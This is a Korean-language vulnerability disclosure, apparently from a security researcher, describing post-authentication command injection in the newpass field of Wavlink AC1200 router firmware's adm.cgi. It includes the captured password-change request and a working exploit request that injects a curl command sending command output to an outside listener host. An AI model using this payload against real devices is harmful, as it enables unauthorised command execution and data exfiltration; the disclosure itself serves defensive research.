
Wavlink AC1200 펌웨어 버전 M32A3_V1410_230602 및 M32A3_V1410_240222는 비밀번호 재설정 중 인증 후 명령 주입(post-authentication command injection)에 취약합니다. 이 취약점은 구체적으로 "adm.cgi" 바이너리의 "set_sys_adm" 함수에서 발견되며, 사용자가 제공한 "newpass" 필드의 부적절한 검증(샌니타이제이션)으로 인해 발생합니다.
최근 Wavlink AC1200(모델: WL-WN532A3)에 대한 보안 연구 중 "/cgi-bin/adm.cgi" 엔드포인트에서 인증 후 명령 주입(Post-Authentication Command Injection) 취약점이 식별되었습니다. 이 취약점으로 인해 라우터의 자격 증명을 손상시킨 악의적인 공격자가 임의의 셸 명령을 실행할 수 있습니다. 현재 이 취약점에 대한 CVE 번호 할당이 대기 중입니다.
Wavlink AC1200 라우터를 수령한 후, 로드된 펌웨어는 'M32A3_V1410_230602'로 확인되었습니다. 그러나 이 특정 펌웨어 버전은 공식 Wavlink 지원 웹사이트에서 제공되지 않았습니다. Wavlink는 약 8개월 더 최신 버전인 M32A3_V1410_240222 하나만 제공했습니다. 분석 과정에서, 식별된 취약점이 두 펌웨어 버전 모두에 영향을 미치는지 확인하기 위해 구버전의 취약점을 악용하려 시도하면서, 새로 제공된 펌웨어를 연구하기로 결정했습니다. 이를 통해 장치에서 펌웨어를 수동으로 추출할 필요도 없어졌습니다. 루트 파일 시스템 추출은 'binwalk'의 추출 기능을 사용하여 간단히 수행되었습니다. M32A3_V1410_240222 펌웨어는 다음 링크에서 다운로드할 수 있습니다: https://docs.wavlink.xyz/Firmware/fm-532a3/

초기 연구는 명령 주입을 위한 공격 표면을 식별하는 데 집중되었습니다. system, popen, 그리고 시스템 명령을 실행하기 위해 가져온 다양한 헬퍼 함수에 대한 많은 호출이 있었지만, 대부분은 사전 제작된 bash 스크립트에 대한 호출로 주입이 불가능했습니다. 그러나 /etc_ro/lighttpd/www/cgi-bin/adm.cgi 내의 set_sys_adm 함수에서 sprintf를 사용하여 포맷된 char 배열을 전달하는 system 호출 하나가 첫눈에 즉시 의심을 불러일으켰습니다. 추가 조사 결과, 이 함수는 사용자 제공 비밀번호의 입력에서 ; 문자를 찾아 살균하려고 시도하는 것으로 확인되었습니다. 그러나 이 살균은 다른 명령 주입 기법을 고려하지 못합니다.
아래 이미지는 set_sys_adm의 디스어셈블리를 보여줍니다. 이 함수의 분석을 돕기 위해 일부 변수 이름이 변경되었습니다. 이미지에서 함수는 40번째 줄의 웹 요청에서 password 필드를 가져온 다음, 58-60번째 줄에서 값이 NULL이 아니고 세미콜론(;)을 포함하지 않으며 이전에 저장된 비밀번호와 동일하지 않은지 확인하는 것을 볼 수 있습니다. 그런 다음 이 값은 sprintf 호출에 전달되어 echo "<username.:<password>" > /etc/lighttpd.user와 같은 명령을 구성합니다. 이 포맷된 문자열은 즉시 system 호출에 전달됩니다.

이것은 훌륭한 발견이었지만, 이 취약점이 웹 포털에서 어디를 통해 접근될 수 있는지 파악할 때였습니다. 이 함수는 "Login Password" 페이지에서 비밀번호를 재설정할 때 호출된다는 것이 빠르게 확인되었습니다.

이 웹 페이지를 식별한 후 Burp Suite로 HTTP POST 요청을 캡처했습니다. 요청은 다음과 같습니다:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=12980
Accept-Encoding: gzip, deflate, br
Cookie: session=420022404
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello&NEWPASS2=hellohello
이제 명령 주입 취약점을 이해하고 취약점이 접근 가능한 위치를 확인했으므로, 악용 시도를 할 때가 되었습니다. 다음 요청은 라우터가 netcat 리스너에 curl 요청을 보내도록 강제하면서, 동시에 User Agent 필드를 통해 데이터를 외부로 유출시키기 위해 전송되었습니다. URL 인코딩 및 요청 배치 이전의 명령은 다음과 같습니다: curl http://192.168.1.6:4567/ -A $(pwd). HTTP POST 요청에 배치된 명령은 다음과 같습니다:
POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Length: 82
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.10.1/set_safety.shtml?r=76755
Accept-Encoding: gzip, deflate, br
Cookie: session=1783394974
Connection: keep-alive
page=sysAdm&username=admin&SYSPASS=asdfasdf&newpass=hellohello\"+%26%26+curl+http%3a//192.168.1.6%3a4567+-A+$(pwd)&NEWPASS2=hellohello
요청을 전송한 후 취약점이 악용 가능하다는 확인을 받았습니다.
